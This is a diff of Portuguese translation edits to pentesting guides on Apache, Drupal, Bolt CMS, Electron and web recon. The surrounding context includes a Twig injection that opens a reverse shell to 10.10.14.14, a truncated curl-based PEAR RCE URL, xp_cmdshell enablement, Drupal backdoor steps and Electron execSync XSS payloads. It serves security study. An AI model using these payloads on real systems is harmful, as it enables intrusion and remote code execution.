[**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastear (mesmo preenchendo formulários) e também encontrar informações sensíveis usando regexes específicas. - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite é um avançado Crawler/Spider de segurança web com múltiplas funcionalidades projetado para profissionais de cibersegurança. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [ferramenta de linha de comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, caminhos, segredos e outros dados interessantes do código-fonte JavaScript. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [ferramenta de linha de comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, caminhos, segredos e outros dados interessantes do código fonte JavaScript. - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge é uma simples **extensão do Burp Suite** para **extrair os parâmetros e endpoints** da requisição para criar listas de palavras personalizadas para fuzzing e enumeração. - [**katana**](https://github.com/projectdiscovery/katana) (go): Ferramenta incrível para isso. - [**Crawley**](https://github.com/s0rg/crawley) (go): Imprimir todos os links que conseguir encontrar. @@ -268,24 +268,24 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta ### O que verificar em cada arquivo encontrado -- [**Verificador de links quebrados**](https://github.com/stevenvachon/broken-link-checker): Encontrar links quebrados dentro de HTMLs que podem estar propensos a sequestros. -- **Backups de arquivos**: Uma vez que você tenha encontrado todos os arquivos, procure por backups de todos os arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns para nomear um backup são: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Você também pode usar a ferramenta [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Descobrir novos parâmetros**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descobrir parâmetros ocultos. Se puder, você pode tentar buscar** parâmetros ocultos em cada arquivo web executável. +- [**Verificador de links quebrados**](https://github.com/stevenvachon/broken-link-checker): Encontre links quebrados dentro de HTMLs que podem estar propensos a tomadas. +- **Backups de Arquivos**: Uma vez que você tenha encontrado todos os arquivos, procure por backups de todos os arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns para nomear um backup são: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Você também pode usar a ferramenta [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Descobrir novos parâmetros**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descobrir parâmetros ocultos. Se puder, você poderia tentar buscar** parâmetros ocultos em cada arquivo web executável. - _Arjun todas as listas de palavras padrão:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **Comentários:** Verifique os comentários de todos os arquivos, você pode encontrar **credenciais** ou **funcionalidade oculta**. -- Se você estiver jogando **CTF**, um truque "comum" é **esconder** **informações** dentro de comentários à **direita** da **página** (usando **centenas** de **espaços** para que você não veja os dados se abrir o código-fonte com o navegador). Outra possibilidade é usar **várias novas linhas** e **esconder informações** em um comentário na **parte inferior** da página web. +- Se você estiver jogando **CTF**, um truque "comum" é **esconder** **informações** dentro de comentários à **direita** da **página** (usando **centenas** de **espaços** para que você não veja os dados se abrir o código fonte com o navegador). Outra possibilidade é usar **várias novas linhas** e **esconder informações** em um comentário na **parte inferior** da página web. - **Chaves de API**: Se você **encontrar alguma chave de API**, há um guia que indica como usar chaves de API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird). - Chaves de API do Google: Se você encontrar alguma chave de API parecida com **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, você pode usar o projeto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar quais APIs a chave pode acessar. -- **Buckets S3**: Enquanto faz spidering, verifique se algum **subdomínio** ou algum **link** está relacionado a algum **bucket S3**. Nesse caso, [**verifique** as **permissões** do bucket](buckets/). +- **Buckets S3**: Enquanto faz spidering, veja se algum **subdomínio** ou algum **link** está relacionado a algum **bucket S3**. Nesse caso, [**verifique** as **permissões** do bucket](buckets/). ### Descobertas Especiais **Enquanto** realiza o **spidering** e **força bruta**, você pode encontrar **coisas** **interessantes** que deve **notar**. -**Arquivos interessantes** +**Arquivos Interessantes** - Procure por **links** para outros arquivos dentro dos **arquivos CSS**. - [Se você encontrar um _**.git**_ algumas informações podem ser extraídas](git.md). @@ -300,7 +300,7 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta - Em várias ocasiões, você precisará **entender as expressões regulares** usadas. Isso será útil: [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex). - Você também pode **monitorar os arquivos onde formulários foram detectados**, pois uma mudança no parâmetro ou o aparecimento de um novo formulário pode indicar uma nova funcionalidade vulnerável potencial. -**403 Forbidden/Autenticação Básica/401 Unauthorized (bypass)** +**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** {{#ref}} 403-and-401-bypasses.md @@ -312,7 +312,7 @@ Se alguma página **responder** com esse **código**, provavelmente é um **prox **Autenticação NTLM - Divulgação de informações** -Se o servidor em execução que solicita autenticação é **Windows** ou você encontra um login pedindo suas **credenciais** (e pedindo o **nome do domínio**), você pode provocar uma **divulgação de informações**.\ +Se o servidor em execução que pede autenticação é **Windows** ou você encontra um login pedindo suas **credenciais** (e pedindo o **nome do domínio**), você pode provocar uma **divulgação de informações**.\ **Envie** o **cabeçalho**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido ao funcionamento da **autenticação NTLM**, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do cabeçalho "WWW-Authenticate".\ Você pode **automatizar** isso usando o **plugin nmap** "_http-ntlm-info.nse_". diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md index 8b62fdb24..2bdb99a36 100644 --- a/src/network-services-pentesting/pentesting-web/angular.md +++ b/src/network-services-pentesting/pentesting-web/angular.md @@ -72,7 +72,7 @@ Podemos classificar o binding pelo fluxo de dados: * Alvo de visualização para fonte de dados (inclui _eventos_); pode ser aplicado usando `()` no template; * Bidirecional; pode ser aplicado usando `[()]` no template. -O binding pode ser chamado em propriedades, eventos e atributos, bem como em qualquer membro público de uma diretiva de origem: +O binding pode ser chamado em propriedades, eventos e atributos, bem como em qualquer membro público de uma diretiva fonte: | TIPO | ALVO | EXEMPLOS | | --------- | ------------------------------------------------------ | -------------------------------------------------------------------- | @@ -149,7 +149,7 @@ this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https:/ //resultado ``` -3. `bypassSecurityTrustHtml` é usado para indicar que o valor fornecido é HTML seguro. Observe que inserir elementos `script` na árvore DOM dessa maneira não fará com que eles executem o código JavaScript contido, devido à forma como esses elementos são adicionados à árvore DOM. +3. `bypassSecurityTrustHtml` é usado para indicar que o valor fornecido é HTML seguro. Observe que a inserção de elementos `script` na árvore DOM dessa maneira não fará com que eles executem o código JavaScript contido, devido à forma como esses elementos são adicionados à árvore DOM. ```jsx //app.component.ts @@ -174,7 +174,7 @@ this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Sec //resultado - ``` -5. `bypassSecurityTrustStyle` é usado para indicar que o valor fornecido é CSS seguro. O seguinte exemplo ilustra a injeção de CSS: +5. `bypassSecurityTrustStyle` é usado para indicar que o valor fornecido é CSS seguro. O exemplo a seguir ilustra a injeção de CSS: ```jsx //app.component.ts @@ -446,7 +446,7 @@ $palias.append(html); #### Interfaces DOM -De acordo com a documentação do W3C, os objetos `window.location` e `document.location` são tratados como aliases em navegadores modernos. É por isso que eles têm implementações semelhantes de alguns métodos e propriedades, o que pode causar um redirecionamento aberto e XSS DOM com ataques de esquema `javascript://`, conforme mencionado abaixo. +De acordo com a documentação do W3C, os objetos `window.location` e `document.location` são tratados como aliases em navegadores modernos. É por isso que eles têm implementação semelhante de alguns métodos e propriedades, o que pode causar um redirecionamento aberto e XSS DOM com ataques de esquema `javascript://`, conforme mencionado abaixo. * `window.location.href`(e `document.location.href`) diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 1bd764861..d8381118f 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -46,7 +46,7 @@ curl http://server/user/orange curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml` ``` -- **Atribuição Enganosa do RewriteFlag** +- **Atribuição de RewriteFlag Enganosa** Na seguinte regra de reescrita, desde que a URL termine em .php, ela será tratada e executada como php. Portanto, é possível enviar uma URL que termina em .php após o caractere `?` enquanto carrega no caminho um tipo diferente de arquivo (como uma imagem) com código php malicioso dentro dele: ```bash @@ -72,14 +72,14 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -Isso ocorre porque, por padrão, o PHP-FPM receberá URLs que terminam em `.php`, como `http://server/admin.php%3Fooo.php` e porque o PHP-FPM removerá qualquer coisa após o caractere `?`, a URL anterior permitirá carregar `/admin.php`, mesmo que a regra anterior a proíba. +Isso ocorre porque, por padrão, o PHP-FPM receberá URLs que terminam em `.php`, como `http://server/admin.php%3Fooo.php` e, como o PHP-FPM removerá qualquer coisa após o caractere `?`, a URL anterior permitirá carregar `/admin.php`, mesmo que a regra anterior a proíba. ### Confusão do DocumentRoot ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Um fato interessante sobre o Apache é que a reescrita anterior tentará acessar o arquivo tanto do documentRoot quanto da raiz. Assim, uma solicitação para `https://server/abouth.html` verificará o arquivo em `/var/www/html/about.html` e `/about.html` no sistema de arquivos. O que basicamente pode ser explorado para acessar arquivos no sistema de arquivos. +Um fato interessante sobre o Apache é que a reescrita anterior tentará acessar o arquivo tanto do documentRoot quanto da raiz. Assim, uma solicitação para `https://server/abouth.html` verificará o arquivo em `/var/www/html/about.html` e `/about.html` no sistema de arquivos. Isso pode ser basicamente explorado para acessar arquivos no sistema de arquivos. #### **Divulgação de Código Fonte do Lado do Servidor** @@ -162,7 +162,7 @@ Além disso, abusando de symlinks foi possível obter **RCE no Redmine.** ### Confusão de Manipuladores -Este ataque explora a sobreposição de funcionalidade entre as diretivas `AddHandler` e `AddType`, que ambas podem ser usadas para **habilitar o processamento PHP**. Originalmente, essas diretivas afetavam campos diferentes (`r->handler` e `r->content_type`, respectivamente) na estrutura interna do servidor. No entanto, devido a código legado, o Apache trata essas diretivas de forma intercambiável sob certas condições, convertendo `r->content_type` em `r->handler` se o primeiro estiver definido e o último não. +Este ataque explora a sobreposição de funcionalidade entre as diretivas `AddHandler` e `AddType`, que podem ser usadas para **habilitar o processamento PHP**. Originalmente, essas diretivas afetavam campos diferentes (`r->handler` e `r->content_type`, respectivamente) na estrutura interna do servidor. No entanto, devido a código legado, o Apache trata essas diretivas de forma intercambiável sob certas condições, convertendo `r->content_type` em `r->handler` se o primeiro estiver definido e o último não. Além disso, no Apache HTTP Server (`server/config.c#L420`), se `r->handler` estiver vazio antes de executar `ap_run_handler()`, o servidor **usa `r->content_type` como o manipulador**, efetivamente tornando `AddType` e `AddHandler` idênticos em efeito. @@ -177,7 +177,7 @@ TODO: Orange ainda não divulgou essa vulnerabilidade ### **Invocar Manipuladores Arbitrários** -Se um atacante conseguir controlar o cabeçalho **`Content-Type`** em uma resposta do servidor, ele poderá **invocar manipuladores de módulo arbitrários**. No entanto, no ponto em que o atacante controla isso, a maior parte do processo da solicitação já terá sido concluída. No entanto, é possível **reiniciar o processo da solicitação abusando do cabeçalho `Location`** porque se o **Status** retornado for 200 e o cabeçalho `Location` começar com uma `/`, a resposta é tratada como uma Redireção do Lado do Servidor e deve ser processada. +Se um atacante conseguir controlar o cabeçalho **`Content-Type`** em uma resposta do servidor, ele poderá **invocar manipuladores de módulo arbitrários**. No entanto, no ponto em que o atacante controla isso, a maior parte do processo da solicitação já terá sido concluída. No entanto, é possível **reiniciar o processo da solicitação abusando do cabeçalho `Location`** porque se o `Status` retornado for 200 e o cabeçalho `Location` começar com uma `/`, a resposta é tratada como uma Redireção do Lado do Servidor e deve ser processada. De acordo com [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (especificação sobre CGI) na [Seção 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) define um comportamento de Resposta de Redirecionamento Local: @@ -228,7 +228,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0 ``` #### **Manipulador Arbitrário para RCE** -A imagem oficial [PHP Docker](https://hub.docker.com/_/php) inclui PEAR (`Pearcmd.php`), uma ferramenta de gerenciamento de pacotes PHP via linha de comando, que pode ser explorada para obter RCE: +A imagem oficial [PHP Docker](https://hub.docker.com/_/php) inclui o PEAR (`Pearcmd.php`), uma ferramenta de gerenciamento de pacotes PHP via linha de comando, que pode ser explorada para obter RCE: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} diff --git a/src/network-services-pentesting/pentesting-web/bolt-cms.md b/src/network-services-pentesting/pentesting-web/bolt-cms.md index 042dc430f..030844f37 100644 --- a/src/network-services-pentesting/pentesting-web/bolt-cms.md +++ b/src/network-services-pentesting/pentesting-web/bolt-cms.md @@ -12,7 +12,7 @@ Após fazer login como admin (vá para /bot para acessar o prompt de login), voc
- Selecione `File management` -> `View & edit templates` -- Selecione a base do tema encontrada no passo anterior (`base-2021` neste caso) e selecione `index.twig` +- Selecione o tema base encontrado no passo anterior (`base-2021` neste caso) e selecione `index.twig` - No meu caso, isso está no caminho da URL /bolt/file-edit/themes?file=/base-2021/index.twig - Defina seu payload neste arquivo via [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/#twig-php), como: `{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}` - E salve as alterações @@ -20,6 +20,6 @@ Após fazer login como admin (vá para /bot para acessar o prompt de login), voc
- Limpe o cache em `Maintenance` -> `Clear the cache` -- Acesse novamente a página como um usuário regular, e o payload deve ser executado +- Acesse novamente a página como um usuário comum, e o payload deve ser executado {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/code-review-tools.md b/src/network-services-pentesting/pentesting-web/code-review-tools.md index 5ace50b55..fda2e8fb9 100644 --- a/src/network-services-pentesting/pentesting-web/code-review-tools.md +++ b/src/network-services-pentesting/pentesting-web/code-review-tools.md @@ -60,7 +60,7 @@ sonar-scanner \ ``` ### CodeQL -Há uma **versão gratuita instalável**, mas de acordo com a licença, você pode **usar apenas a versão gratuita do CodeQL em projetos de código aberto**. +Há uma **versão gratuita instalável**, mas de acordo com a licença, você **só pode usar a versão gratuita do CodeQL em projetos de código aberto**. #### Instalar ```bash @@ -86,7 +86,7 @@ codeql resolve qlpacks #Get paths to QL packs ``` #### Início Rápido - Prepare o banco de dados -> [!DICA] +> [!TIP] > A primeira coisa que você precisa fazer é **preparar o banco de dados** (criar a árvore de código) para que mais tarde as consultas sejam executadas sobre ele. - Você pode permitir que o codeql identifique automaticamente a linguagem do repositório e crie o banco de dados. @@ -265,7 +265,7 @@ retire --colors ## Python -- [**Bandit**](https://github.com/PyCQA/bandit)**:** Bandit é uma ferramenta projetada para encontrar problemas de segurança comuns em código Python. Para fazer isso, o Bandit processa cada arquivo, constrói um AST a partir dele e executa plugins apropriados contra os nós do AST. Uma vez que o Bandit tenha terminado de escanear todos os arquivos, ele gera um relatório. +- [**Bandit**](https://github.com/PyCQA/bandit)**:** Bandit é uma ferramenta projetada para encontrar problemas de segurança comuns em código Python. Para fazer isso, o Bandit processa cada arquivo, constrói um AST a partir dele e executa plugins apropriados contra os nós do AST. Uma vez que o Bandit termina de escanear todos os arquivos, ele gera um relatório. ```bash # Install pip3 install bandit @@ -321,8 +321,8 @@ jar cmvf META-INF/MANIFEST.MF test.jar test.class | Remover Assinatura| rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA | | Deletar do Jar | zip -d \[jar] \[arquivo a remover] | | Descompilar classe| procyon -o . \[caminho para a classe] | -| Descompilar Jar | procyon -jar \[jar] -o \[diretório de saída] | -| Compilar classe | javac \[caminho para o arquivo .java] | +| Descompilar Jar | procyon -jar \[jar] -o \[diretório de saída] | +| Compilar classe | javac \[caminho para o arquivo .java] | ## Ir ```bash @@ -378,13 +378,13 @@ https://github.com/securego/gosec 3. Para algumas alternativas mais modernas ao JSNice, você pode querer olhar para as seguintes: - [https://github.com/pionxzh/wakaru](https://github.com/pionxzh/wakaru) -- > Wakaru é o decompilador de Javascript para frontend moderno. Ele traz de volta o código original de uma fonte empacotada e transpilada. +- > O decompilador, desempacotador e kit de ferramentas de desminificação Javascript Wakaru é o decompilador Javascript para frontend moderno. Ele traz de volta o código original de uma fonte empacotada e transpilada. - [https://github.com/j4k0xb/webcrack](https://github.com/j4k0xb/webcrack) -- > Deobfuscar obfuscator.io, desminimizar e desempacotar javascript empacotado +- > Deobfuscar obfuscator.io, desminificar e desempacotar javascript empacotado - [https://github.com/jehna/humanify](https://github.com/jehna/humanify) -- > Desminimizar código Javascript usando ChatGPT Esta ferramenta usa grandes modelos de linguagem (como ChatGPT & llama2) e outras ferramentas para desminimizar código Javascript. Note que LLMs não realizam nenhuma alteração estrutural – eles apenas fornecem dicas para renomear variáveis e funções. O trabalho pesado é feito pelo Babel no nível AST para garantir que o código permaneça equivalente 1-1. +- > Desminificar código Javascript usando ChatGPT Esta ferramenta usa grandes modelos de linguagem (como ChatGPT e llama2) e outras ferramentas para desminificar código Javascript. Note que LLMs não realizam nenhuma alteração estrutural – eles apenas fornecem dicas para renomear variáveis e funções. O trabalho pesado é feito pelo Babel no nível AST para garantir que o código permaneça equivalente 1-1. - [https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html](https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html) -- > Usando LLMs para reverter a minimização de nomes de variáveis JavaScript +- > Usando LLMs para reverter a minificação de nomes de variáveis JavaScript 3. Use `console.log()`; - Encontre o valor de retorno no final e mude para `console.log();` para que o js deobfuscado seja impresso em vez de ser executado. diff --git a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md index 2477ecda2..7b9da3b59 100644 --- a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md +++ b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md @@ -19,7 +19,7 @@ RECONFIGURE EXEC sp_configure 'xp_cmdshell', '1' RECONFIGURE ``` -E pressione **"Run Script"** para executar essas sentenças sQL. +E pressione **"Run Script"** para executar essas sentenças SQL. Em seguida, use algo como o seguinte para executar comandos do OS: ```sql diff --git a/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md b/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md index 413a65886..94413373d 100644 --- a/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md +++ b/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md @@ -5,12 +5,12 @@ ## Com o Módulo PHP Filter > [!WARNING] -> Em versões mais antigas do Drupal **(antes da versão 8)**, era possível fazer login como admin e **ativar o módulo `PHP filter`**, que "Permite que códigos/snippets PHP incorporados sejam avaliados." Mas a partir da versão 8, este módulo não é instalado por padrão. +> Em versões mais antigas do Drupal **(antes da versão 8)**, era possível fazer login como admin e **ativar o módulo `PHP filter`**, que "Permite que código/snippets PHP incorporados sejam avaliados." Mas a partir da versão 8, este módulo não é instalado por padrão. 1. Vá para **/modules/php** e se um erro 403 for retornado, então o **plugin PHP filter está instalado e você pode continuar** 1. Se não, vá para `Modules` e marque a caixa de `PHP Filter` e depois clique em `Save configuration` -2. Então, para explorá-lo, clique em `Add content`, selecione `Basic Page` ou `Article` e escreva a **backdoor PHP**, depois selecione `PHP` como formato de texto e finalmente selecione `Preview` -3. Para acioná-lo, basta acessar o novo nó criado: +2. Então, para explorá-lo, clique em `Add content`, selecione `Basic Page` ou `Article` e escreva o **backdoor PHP**, depois selecione `PHP` como formato de texto e finalmente selecione `Preview` +3. Para acioná-lo, basta acessar o nó recém-criado: ```bash curl http://drupal.local/node/3 ``` @@ -19,26 +19,26 @@ curl http://drupal.local/node/3 > [!WARNING] > Nas versões atuais, não é mais possível instalar plugins apenas tendo acesso à web após a instalação padrão. -A partir da versão **8**, o **[**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1)** **não é instalado por padrão**. Para aproveitar essa funcionalidade, teríamos que **instalar o módulo nós mesmos**. +A partir da versão **8**, o **[PHP Filter](https://www.drupal.org/project/php/releases/8.x-1.1)** **não é instalado por padrão**. Para aproveitar essa funcionalidade, teríamos que **instalar o módulo nós mesmos**. 1. Baixe a versão mais recente do módulo no site do Drupal. 1. `wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz` 2. Após o download, vá para **`Administration`** > **`Reports`** > **`Available updates`**. 3. Clique em **`Browse`**, selecione o arquivo do diretório para o qual o baixamos e clique em **`Install`**. -4. Uma vez que o módulo esteja instalado, podemos clicar em **`Content`** e **criar uma nova página básica**, semelhante ao que fizemos no exemplo do Drupal 7. Novamente, certifique-se de **selecionar `PHP code` no dropdown `Text format`**. +4. Uma vez que o módulo esteja instalado, podemos clicar em **`Content`** e **criar uma nova página básica**, semelhante ao que fizemos no exemplo do Drupal 7. Novamente, certifique-se de **selecionar `PHP code` no menu suspenso `Text format`**. ## Módulo com Backdoor > [!WARNING] > Nas versões atuais, não é mais possível instalar plugins apenas tendo acesso à web após a instalação padrão. -Era possível **baixar** um **módulo**, adicionar um **backdoor** a ele e **instalá-lo**. Por exemplo, baixando o módulo **[**Trurnstile**](https://www.drupal.org/project/turnstile)** em formato compactado, criando um novo arquivo de backdoor PHP dentro dele, permitindo o acesso ao arquivo PHP com um arquivo `.htaccess`: +Era possível **baixar** um **módulo**, adicionar um **backdoor** a ele e **instalá-lo**. Por exemplo, baixando o módulo **[Trurnstile](https://www.drupal.org/project/turnstile)** em formato compactado, criando um novo arquivo de backdoor PHP dentro dele, permitindo o acesso ao arquivo PHP com um arquivo `.htaccess`: ```html RewriteEngine On RewriteBase / ``` E então indo para **`http://drupal.local/admin/modules/install`** para instalar o módulo com backdoor e acessar **`/modules/turnstile/back.php`** para executá-lo. -## Backdooring Drupal com sincronização de configuração +## Backdooring Drupal com Sincronização de Configuração **Post compartilhado por** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90) @@ -56,9 +56,9 @@ Após a ativação:
-### Parte 2 (aproveitando o recurso _Configuração de sincronização_) +### Parte 2 (aproveitando o recurso _Sincronização de Configuração_) -Vamos aproveitar o recurso _Configuração de sincronização_ para despejar (exportar) e fazer upload (importar) entradas de configuração do Drupal: +Vamos aproveitar o recurso _Sincronização de Configuração_ para despejar (exportar) e fazer upload (importar) entradas de configuração do Drupal: - /admin/config/development/configuration/single/export - /admin/config/development/configuration/single/import @@ -121,13 +121,13 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od ... ``` -> Eu não uso isso neste post do blog, mas é importante notar que é possível definir a entrada `file_directory` de maneira arbitrária e que ela é vulnerável a um ataque de traversal de caminho (então podemos voltar dentro da árvore do sistema de arquivos do Drupal). +> Eu não uso isso neste post do blog, mas é importante notar que é possível definir a entrada `file_directory` de maneira arbitrária e que é vulnerável a um ataque de traversal de caminho (então podemos voltar dentro da árvore de sistema de arquivos do Drupal).
### Parte 3 (aproveitando o recurso _Adicionar Documento_) -A última etapa é a mais simples e é dividida em duas subetapas. A primeira é fazer o upload de um arquivo no formato .htaccess para aproveitar as diretivas do Apache e permitir que arquivos .txt sejam interpretados pelo motor PHP. A segunda é fazer o upload de um arquivo .txt contendo nossa carga útil. +A última etapa é a mais simples e é dividida em duas subetapas. A primeira é fazer o upload de um arquivo no formato .htaccess para aproveitar as diretivas do Apache e permitir que arquivos .txt sejam interpretados pelo motor PHP. A segunda é fazer o upload de um arquivo .txt contendo nosso payload. Arquivo: .htaccess ``` diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 56489244e..8e16070d9 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -17,7 +17,7 @@ No código-fonte de um aplicativo Electron, dentro de `packet.json`, você pode "name": "standard-notes", "main": "./app/index.js", ``` -O Electron tem 2 tipos de processos: +O Electron tem 2 tipos de processo: - Processo Principal (tem acesso completo ao NodeJS) - Processo de Renderização (deve ter acesso restrito ao NodeJS por razões de segurança) @@ -34,7 +34,7 @@ win.loadURL(`file://path/to/index.html`) ``` As configurações do **processo de renderização** podem ser **configuradas** no **processo principal** dentro do arquivo main.js. Algumas das configurações irão **impedir que o aplicativo Electron obtenha RCE** ou outras vulnerabilidades se as **configurações estiverem corretamente configuradas**. -O aplicativo electron **pode acessar o dispositivo** via APIs Node, embora possa ser configurado para impedir isso: +O aplicativo Electron **pode acessar o dispositivo** via APIs Node, embora possa ser configurado para impedir isso: - **`nodeIntegration`** - está `desligado` por padrão. Se ativado, permite acessar recursos do Node a partir do processo de renderização. - **`contextIsolation`** - está `ativado` por padrão. Se desligado, os processos principal e de renderização não estão isolados. @@ -95,7 +95,7 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" /> src="x" onerror="alert(require('child_process').execSync('uname -a').toString());" /> ``` -### Capturar tráfego +### Captura de tráfego Modifique a configuração start-main e adicione o uso de um proxy como: ```javascript @@ -185,7 +185,7 @@ window.addEventListener('click', (e) => { Para mais informações sobre estes exemplos, consulte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) -Ao implantar um aplicativo de desktop Electron, garantir as configurações corretas para `nodeIntegration` e `contextIsolation` é crucial. Está estabelecido que **a execução remota de código (RCE)** do lado do cliente, visando scripts de preload ou o código nativo do Electron a partir do processo principal, é efetivamente prevenida com essas configurações em vigor. +Ao implantar um aplicativo de desktop Electron, garantir as configurações corretas para `nodeIntegration` e `contextIsolation` é crucial. Está estabelecido que **a execução remota de código do lado do cliente (RCE)** direcionada a scripts de preload ou ao código nativo do Electron a partir do processo principal é efetivamente prevenida com essas configurações em vigor. Quando um usuário interage com links ou abre novas janelas, ouvintes de eventos específicos são acionados, os quais são cruciais para a segurança e funcionalidade do aplicativo: ```javascript @@ -253,14 +253,14 @@ Você pode ver um exemplo neste **writeup**: [https://blog.electrovolt.io/posts/ Supondo que você encontrou um XSS, mas **não consegue acionar RCE ou roubar arquivos internos**, você poderia tentar usá-lo para **roubar credenciais via phishing**. -Primeiramente, você precisa saber o que acontece quando tenta abrir uma nova URL, verificando o código JS no front-end: +Primeiro de tudo, você precisa saber o que acontece quando tenta abrir uma nova URL, verificando o código JS no front-end: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` -A chamada para **`openInternally`** decidirá se o **link** será **aberto** na **janela do desktop** como é um link pertencente à plataforma, **ou** se será aberto no **navegador como um recurso de 3ª parte**. +A chamada para **`openInternally`** decidirá se o **link** será **aberto** na **janela do desktop**, pois é um link pertencente à plataforma, **ou** se será aberto no **navegador como um recurso de 3ª parte**. -No caso de a **regex** usada pela função ser **vulnerável a contornos** (por exemplo, por **não escapar os pontos dos subdomínios**), um atacante poderia abusar do XSS para **abrir uma nova janela que** estará localizada na infraestrutura do atacante **solicitando credenciais** ao usuário: +No caso de a **regex** usada pela função ser **vulnerável a bypasses** (por exemplo, por **não escapar os pontos dos subdomínios**), um atacante poderia abusar do XSS para **abrir uma nova janela que** estará localizada na infraestrutura do atacante **solicitando credenciais** ao usuário: ```html